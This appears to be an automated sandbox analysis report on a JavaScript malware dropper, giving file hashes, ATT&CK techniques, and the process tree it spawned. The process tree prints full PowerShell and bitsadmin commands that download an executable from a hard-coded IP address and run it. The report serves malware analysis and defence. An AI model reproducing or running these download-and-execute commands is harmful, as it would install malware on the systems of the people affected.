5a5b7c3bda80944f90724322b9fbb2c44b180c790c09192c5007ab9e1410c95c

Analysis

max time kernel
103s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
26/03/2025, 03:07

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General

Target

94fefbae1f1c369c6fcc718d0ea40828b98f55b18c8b4fa68915ceef2d725707.js
Size

720B
MD5

ae846ea82b1d91f86790be6f0ebcf771
SHA1

2ac8c84cd73cddc5f56573ef431b9eda914bc63b
SHA256

94fefbae1f1c369c6fcc718d0ea40828b98f55b18c8b4fa68915ceef2d725707
SHA512

ed9718786972eccc49d8e8f7294a6bedaa026662d637c9016fdd64cf4106b72772d61f08274c15a6da7583bb38035c470eeac3f77ac3cb94185c4aa70430734e

Score

10^/10

dropper execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://217.8.117.63/wtava.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2084	powershell.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1768	bitsadmin.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2084	powershell.exe
2084	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2084	powershell.exe
2084	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2084	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5464 wrote to memory of 1904	5464	wscript.exe	86
PID 5464 wrote to memory of 1904	5464	wscript.exe	86
PID 5464 wrote to memory of 2528	5464	wscript.exe	88
PID 5464 wrote to memory of 2528	5464	wscript.exe	88
PID 1904 wrote to memory of 2084	1904	cmd.exe	90
PID 1904 wrote to memory of 2084	1904	cmd.exe	90
PID 2528 wrote to memory of 1768	2528	cmd.exe	91
PID 2528 wrote to memory of 1768	2528	cmd.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\94fefbae1f1c369c6fcc718d0ea40828b98f55b18c8b4fa68915ceef2d725707.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/wtava.exe','C:\Users\Admin\AppData\Local\Temp\7865336.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\7865336.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/wtava.exe','C:\Users\Admin\AppData\Local\Temp\7865336.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\7865336.exe'
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/wtava.exe C:\Users\Admin\AppData\Local\Temp\75365357.exe&start C:\Users\Admin\AppData\Local\Temp\75365357.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/wtava.exe C:\Users\Admin\AppData\Local\Temp\75365357.exe
    3⤵
    - Download via BitsAdmin
    PID:1768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5b3notjz.zjl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2084-0-0x00007FFFF5EC3000-0x00007FFFF5EC5000-memory.dmp

Filesize
8KB

Download
memory/2084-1-0x0000024AB07C0000-0x0000024AB07E2000-memory.dmp

Filesize
136KB

Download
memory/2084-2-0x00007FFFF5EC0000-0x00007FFFF6981000-memory.dmp

Filesize
10.8MB

Download
memory/2084-12-0x00007FFFF5EC0000-0x00007FFFF6981000-memory.dmp

Filesize
10.8MB

Download
memory/2084-15-0x00007FFFF5EC0000-0x00007FFFF6981000-memory.dmp

Filesize
10.8MB

Download